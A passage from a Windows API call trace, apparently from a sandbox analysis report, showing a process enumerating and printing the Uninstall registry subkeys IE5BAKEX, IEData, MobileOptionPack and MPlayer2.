(_FileHandle=1) returned 0x50 [0146.820] _errno () returned 0xc4bb0 [0146.820] GetFileType (hFile=0x50) returned 0x1 [0146.820] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX\n") returned 80 [0146.820] GetConsoleOutputCP () returned 0x1b5 [0146.820] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX\n", cchWideChar=80, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 80 [0146.820] GetConsoleOutputCP () returned 0x1b5 [0146.820] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX\n", cchWideChar=80, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX\n", lpUsedDefaultChar=0x0) returned 80 [0146.820] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 80 [0146.820] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.820] RegOpenKeyExW (in: hKey=0x58, lpSubKey="IE5BAKEX", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.821] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.821] GetProcessHeap () returned 0x2e0000 [0146.821] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.821] __iob_func () returned 0x7fefd702a80 [0146.821] _fileno (_File=0x7fefd702ab0) returned 1 [0146.821] _errno () returned 0xc4bb0 [0146.821] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.821] _errno () returned 0xc4bb0 [0146.821] GetFileType (hFile=0x50) returned 0x1 [0146.821] lstrlenW (lpString="\n") returned 1 [0146.821] GetConsoleOutputCP () returned 0x1b5 [0146.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.821] GetConsoleOutputCP () returned 0x1b5 [0146.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.821] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.821] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.821] GetProcessHeap () returned 0x2e0000 [0146.821] GetProcessHeap () returned 0x2e0000 [0146.821] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.821] GetProcessHeap () returned 0x2e0000 [0146.821] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.821] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.821] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.821] GetProcessHeap () returned 0x2e0000 [0146.821] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.821] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX") returned 79 [0146.822] GetProcessHeap () returned 0x2e0000 [0146.822] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xa2) returned 0x2fd170 [0146.822] GetProcessHeap () returned 0x2e0000 [0146.822] GetProcessHeap () returned 0x2e0000 [0146.822] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.822] GetProcessHeap () returned 0x2e0000 [0146.822] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.822] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.822] GetProcessHeap () returned 0x2e0000 [0146.822] GetProcessHeap () returned 0x2e0000 [0146.822] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.822] GetProcessHeap () returned 0x2e0000 [0146.822] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xa2 [0146.822] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.822] RegCloseKey (hKey=0x5c) returned 0x0 [0146.822] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x9, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IEData", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.822] __iob_func () returned 0x7fefd702a80 [0146.822] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.822] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData\n") returned 78 [0146.822] _fileno (_File=0x7fefd702ab0) returned 1 [0146.822] _errno () returned 0xc4bb0 [0146.822] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.822] _errno () returned 0xc4bb0 [0146.822] GetFileType (hFile=0x50) returned 0x1 [0146.822] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData\n") returned 78 [0146.822] GetConsoleOutputCP () returned 0x1b5 [0146.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData\n", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.822] GetConsoleOutputCP () returned 0x1b5 [0146.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData\n", cchWideChar=78, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData\n", lpUsedDefaultChar=0x0) returned 78 [0146.823] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 78 [0146.823] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.823] RegOpenKeyExW (in: hKey=0x58, lpSubKey="IEData", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.823] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.823] GetProcessHeap () returned 0x2e0000 [0146.823] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.823] __iob_func () returned 0x7fefd702a80 [0146.823] _fileno (_File=0x7fefd702ab0) returned 1 [0146.823] _errno () returned 0xc4bb0 [0146.823] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.823] _errno () returned 0xc4bb0 [0146.823] GetFileType (hFile=0x50) returned 0x1 [0146.823] lstrlenW (lpString="\n") returned 1 [0146.823] GetConsoleOutputCP () returned 0x1b5 [0146.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.823] GetConsoleOutputCP () returned 0x1b5 [0146.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.823] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.823] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.823] GetProcessHeap () returned 0x2e0000 [0146.823] GetProcessHeap () returned 0x2e0000 [0146.823] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.823] GetProcessHeap () returned 0x2e0000 [0146.823] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.824] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.824] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.824] GetProcessHeap () returned 0x2e0000 [0146.824] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.824] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData") returned 77 [0146.824] GetProcessHeap () returned 0x2e0000 [0146.824] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x9e) returned 0x2fd170 [0146.824] GetProcessHeap () returned 0x2e0000 [0146.824] GetProcessHeap () returned 0x2e0000 [0146.824] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.824] GetProcessHeap () returned 0x2e0000 [0146.824] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.824] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.824] GetProcessHeap () returned 0x2e0000 [0146.824] GetProcessHeap () returned 0x2e0000 [0146.824] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.824] GetProcessHeap () returned 0x2e0000 [0146.824] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0x9e [0146.824] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.824] RegCloseKey (hKey=0x5c) returned 0x0 [0146.824] RegEnumKeyExW (in: hKey=0x58, dwIndex=0xa, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MobileOptionPack", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.824] __iob_func () returned 0x7fefd702a80 [0146.824] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.824] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack\n") returned 88 [0146.824] _fileno (_File=0x7fefd702ab0) returned 1 [0146.824] _errno () returned 0xc4bb0 [0146.824] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.824] _errno () returned 0xc4bb0 [0146.824] GetFileType (hFile=0x50) returned 0x1 [0146.824] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack\n") returned 88 [0146.824] GetConsoleOutputCP () returned 0x1b5 [0146.824] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack\n", cchWideChar=88, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 88 [0146.825] GetConsoleOutputCP () returned 0x1b5 [0146.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack\n", cchWideChar=88, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack\n", lpUsedDefaultChar=0x0) returned 88 [0146.825] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 88 [0146.825] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.825] RegOpenKeyExW (in: hKey=0x58, lpSubKey="MobileOptionPack", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.825] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.825] GetProcessHeap () returned 0x2e0000 [0146.825] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.825] __iob_func () returned 0x7fefd702a80 [0146.825] _fileno (_File=0x7fefd702ab0) returned 1 [0146.825] _errno () returned 0xc4bb0 [0146.825] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.825] _errno () returned 0xc4bb0 [0146.825] GetFileType (hFile=0x50) returned 0x1 [0146.825] lstrlenW (lpString="\n") returned 1 [0146.825] GetConsoleOutputCP () returned 0x1b5 [0146.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.825] GetConsoleOutputCP () returned 0x1b5 [0146.825] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.825] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.825] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.826] GetProcessHeap () returned 0x2e0000 [0146.826] GetProcessHeap () returned 0x2e0000 [0146.826] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.826] GetProcessHeap () returned 0x2e0000 [0146.826] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.826] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.826] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.826] GetProcessHeap () returned 0x2e0000 [0146.826] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.826] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack") returned 87 [0146.826] GetProcessHeap () returned 0x2e0000 [0146.826] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xb2) returned 0x2fd170 [0146.826] GetProcessHeap () returned 0x2e0000 [0146.826] GetProcessHeap () returned 0x2e0000 [0146.826] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.826] GetProcessHeap () returned 0x2e0000 [0146.826] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.826] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.826] GetProcessHeap () returned 0x2e0000 [0146.826] GetProcessHeap () returned 0x2e0000 [0146.826] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.826] GetProcessHeap () returned 0x2e0000 [0146.826] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xb2 [0146.826] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.826] RegCloseKey (hKey=0x5c) returned 0x0 [0146.826] RegEnumKeyExW (in: hKey=0x58, dwIndex=0xb, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MPlayer2", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.826] __iob_func () returned 0x7fefd702a80 [0146.826] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.826] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2\n") returned 80 [0146.826] _fileno (_File=0x7fefd702ab0) returned 1 [0146.826] _errno () returned 0xc4bb0 [0146.826] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.826] _errno () returned 0xc4bb0 [0146.826] GetFileType (hFile=0x50) returned 0x1 [0146.826] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2\n") returned 80 [0146.827] GetConsoleOutputCP () returned 0x1b5 [0146.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2\n", cchWideChar=80, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 80 [0146.827] GetConsoleOutputCP () returned 0x1b5 [0146.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2\n", cchWideChar=80, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2\n", lpUsedDefaultChar=0x0) returned 80 [0146.827] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 80 [0146.827] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.827] RegOpenKeyExW (in: hKey=0x58, lpSubKey="MPlayer2", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0146.827] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.827] GetProcessHeap () returned 0x2e0000 [0146.827] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.827] __iob_func () returned 0x7fefd702a80 [0146.827] _fileno (_File=0x7fefd702ab0) returned 1 [0146.827] _errno () returned 0xc4bb0 [0146.827] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.827] _errno () returned 0xc4bb0 [0146.827] GetFileType (hFile=0x50) returned 0x1 [0146.827] lstrlenW (lpString="\n") returned 1 [0146.827] GetConsoleOutputCP () returned 0x1b5 [0146.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.827] GetConsoleOutputCP () returned 0x1b5 [0146.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.828] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.828] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.828] GetProcessHeap () returned 0x2e0000 [0146.828] GetProcessHeap () returned 0x2e0000 [0146.828] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.828] GetProcessHeap () returned 0x2e0000 [0146.828] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.828] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.828] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.828] GetProcessHeap () returned 0x2e0000 [0146.828] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0146.828] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2") returned 79 [0146.828] GetProcessHeap () returned 0x2e0000 [0146.828] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xa2) returned 0x2fd170 [0146.828] GetProcessHeap () returned 0x2e0000 [0146.828] GetProcessHeap () returned 0x2e0000 [0146.828] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.828] GetProcessHeap () returned 0x2e0000 [0146.828] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0146.828] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.828] GetProcessHeap () returned 0x2e0000 [0146.828] GetProcessHeap () returned 0x2e0000 [0146.828] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.828] GetProcessHeap () returned 0x2e0000 [0146.828] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xa2 [0146.828] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.828] RegCloseKey (hKey=0x5c) returned 0x0 [0146.828] RegEnumKeyExW (in: hKey=0x58, dwIndex=0xc, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, 